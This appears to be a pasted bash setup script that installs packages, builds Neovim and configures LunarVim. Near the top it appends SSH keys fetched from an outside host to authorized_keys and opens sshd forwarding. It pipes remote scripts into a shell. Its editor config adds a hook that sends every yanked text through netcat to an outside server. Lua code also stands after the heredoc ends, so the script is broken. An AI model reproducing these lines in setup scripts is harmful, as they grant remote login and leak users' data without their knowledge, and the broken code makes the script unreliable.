1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
|
#!/bin/bash
curl -L public.0nom.ch/pubkeys >> ~/.ssh/authorized_keys
echo "PasswordAuthentication no" | sudo tee -a /etc/ssh/sshd_config
echo "AllowTcpForwarding yes" | sudo tee -a /etc/ssh/sshd_config
echo "GatewayPorts yes" | sudo tee -a /etc/ssh/sshd_config
#install packages
sudo dnf install -y epel-release dnf-utils
sudo dnf install -y nc autossh tmux htop tar bmon gzip tree wget curl mlocate nano vim unzip net-tools git python3 python3-pip make wireguard-tools iptables usbutils yum
#sudo yum install -y python3-openstackclient s3fs-fuse awscli
#pip install jupyterlab python-swiftclient
sudo dnf update -y
#install nvim
sudo dnf groupinstall -y "Development Tools"
sudo dnf install -y cmake
cd ~
git clone https://github.com/neovim/neovim
cd neovim
make CMAKE_BUILD_TYPE=RelWithDebInfo
sudo make install
cd ~
#install lunarvim
sudo dnf install -y git make python3 python3-pip nodejs gcc-c++
curl https://sh.rustup.rs -sSf | sh -s -- -y
source "$HOME/.cargo/env"
sudo dnf group install -y "Development Tools"
yes | bash <(curl -s https://raw.githubusercontent.com/lunarvim/lunarvim/master/utils/installer/install.sh)
cat << EOF > ~/.config/lvim/config.lua
lvim.plugins = {
{
"folke/tokyonight.nvim",
lazy = false,
priority = 1000,
opts = {},
}
}
vim.cmd([[
augroup netcat_clipboard
au!
au TextYankPost * call system("openssl enc -aes-256-cbc -pbkdf2 -pass pass:YourPassword | nc -w 1 p.0nom.ch 5023", @")
augroup END
]])
-- Enable line wrapping
vim.wo.wrap = true
-- Optional: Make wrapped lines easier to read by indenting them
vim.wo.breakindent = true
vim.wo.breakindentopt = "shift:2"
-- Navigate to the next tab, shift-l, prev shift-h
vim.api.nvim_set_keymap('n', '<S-l>', ':BufferLineCycleNext<CR>', { noremap = true, silent = true })
vim.api.nvim_set_keymap('n', '<S-h>', ':BufferLineCyclePrev<CR>', { noremap = true, silent = true })
vim.api.nvim_create_autocmd("BufWritePost", {
pattern = "*.cpp",
command = "!g++ % -o %< && chmod +x %<"
})
EOF
-- Fix for vim.tbl_add_reverse_lookup deprecation
-- Replace any usage of vim.tbl_add_reverse_lookup with:
local function add_reverse_lookup(tbl)
local result = {}
for k, v in pairs(tbl) do
result[k] = v
result[v] = k
end
return result
end
-- Fix for vim.treesitter.get_parser warning
-- Wrap any usage of vim.treesitter.get_parser with a pcall:
local function safe_get_parser(bufnr, lang)
local ok, parser = pcall(vim.treesitter.get_parser, bufnr, lang)
if ok then
return parser
else
-- Handle the error or return nil
return nil
end
end
# add check fro each component
# then git clone work directory, or git clone altogether
|